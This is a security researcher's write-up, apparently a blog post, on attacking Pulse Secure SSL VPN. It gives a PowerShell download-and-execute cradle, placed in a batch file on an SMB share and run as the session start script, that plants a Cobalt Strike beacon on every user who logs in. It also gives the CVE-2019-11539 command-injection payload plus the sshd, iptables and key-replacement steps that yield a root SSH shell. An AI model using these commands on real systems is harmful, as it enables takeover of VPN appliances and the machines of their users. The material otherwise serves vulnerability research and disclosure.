This write-up is the collective efforts of collaborating with various hackers on exploring and furthering research that was presented by Orange Tsai (orange_8361) and Meh Chang (mehqq_) on attacking Pulse Secure SSL VPN. The research was conducted primarily by Alyssa Herrera (Alyssa_Herrera_), Justin Wagner (0xDezzy), and Mimir (XMPPwocky). We additionally got help from Rich Warren (buffaloverflow) for the automation of the exploit. We’ll be focusing on two topics, primarily expanding capabilities of the initial proof of concept that Orange Tsai demonstrated on file execution upon client log-in and demonstrating how we can use CVE-2019–11539 to gain an SSH shell with root privileges. In later blog post I’ll be discussing how Mimir, and I were able to create a proof of concept for CVE-2019–11510 that was later used to tbuild to an exploit module created by Justin Wagner.
Pulse secure connect contains the functionality to allow an administrator to setup user clients to automatically execute locally hosted files upon the user logging in or out of their VPN instance.
This feature allows you to set a script to be executed, which is quite appealing for red teamers or malicious actors. We initially tried to abuse this functionality to execute args when executing power-shell, or cmd though this didn’t work out. We later got the idea from Mimir to try UNC path to query an SMB server to perform the attack and this worked out for us.
Here’s what we did, we’d first setup an SMB server which can be done with a quick google search. Then we’d host a batch file which would use power-shell to query and execute our shell onto the target, we used a cobaltstrike beacon.
The code we used for the batch script is below.
@echo off
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://your-ip/payload))”
Now on our pulse secure instance we’ll log in with our administrative credentials. You’d be able to get this through exploiting CVE-2019–11510 to either grab the files that hold the session ID, clear-text credentials or hashes which you can crack.
We will then navigate to users -> user roles -> VPN Tunneling -> Windows: Session start script.
From here we can input our UNC path for our SMB server that contains our batch file which will query our shell and execute it. Should look like the below image
From here any users logging into the compromised vpn instance would have our payload executed and subsequently giving access to that user’s machine. We included screen captures alongside a video demonstration of it as well
Now for the fun part, how we were able to leverage a post-auth exploit into gaining an SSH shell that has root privileges. As per the first half, we already mentioned getting auth’ed into an un-patched pulse isn’t hard so we’ll get into how we owned the box.
We discovered during our research that we had permissions to modify the SSH keys and ssh key configurations along side the IP tables which would allow us to seamlessly gain an SSH shell with root access.
For a quick refresh the post-auth command injection requires us to submit the following command
-r$x=”Our command”,system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <
To the tcp dump endpoint which can be found in Maintenance -> trouble shooting -> TCP Dump.
The page will give us an error but the command is processed then we’d request https://your-server/dana-na/auth/setcookie.cgi to execute the command. We need to repeat this process every time we want to execute a query to the server other wise our commands won’t be executed.
This escalation is targeted at modifying the box’s sshd configuration and adding our own SSH key to the system thus granting the ability to ssh in. We’re specifically targeting the authorized keys which is found in the /.ssh/ and cloud_sshd_config which is found in the /etc/ folder. Authorized keys is the keys that are allowed to ssh into the box, while the config sshd file is configuration file for the ssh daemon.
Now to perform post exploitation to gain our ssh shell from here, is fairly straight forward. First we’d cp cloud_sshd_config and authorized keys with the .bak extension so we can have a back up copy of the original files. You should make an sshd config file that will look like this.
Protocol 2
UsePrivilegeSeparation no
RSAAuthentication yes
PubkeyAuthentication yes
ClientAliveInterval 180
ListenAddress 0.0.0.0
After this we’ll curl our own authorized_keys as well as the previously described sshd config file to the tmp folder, since we made our backup copies of the original files we can now safely move our own files to the server and over write it. Curl’ing it from your own server and then moving the file to the directories is the easiest method rather than dealing with modifying it through the command injection.
From here we’d make a request to modify the IPtables to open the port, this can be done through the following command
iptables -A INPUT -p tcp — dport PORT -j ACCEPT
To finalize our changes we need to restart the sshd-ive service to have our modifications to take place.
kill -SIGHUP $(pgrep -f “sshd-ive
Once this is done we can now ssh into our now shelled box.
ssh root@host -p6667
This will give us a root ssh shell without needing further escalation. As mentioned above this would take a bit of time to do manually since we need to make two requests every time we’d want to fire a command. This can be easily scripted out and we prepared a demonstration below to showcase the ability to go from simple admin access to the Pulse Secure SSL VPN to gaining root access to the server. We will additionally be releasing our script to exploit this which can be found at https://github.com/0xDezzy/CVE-2019-11539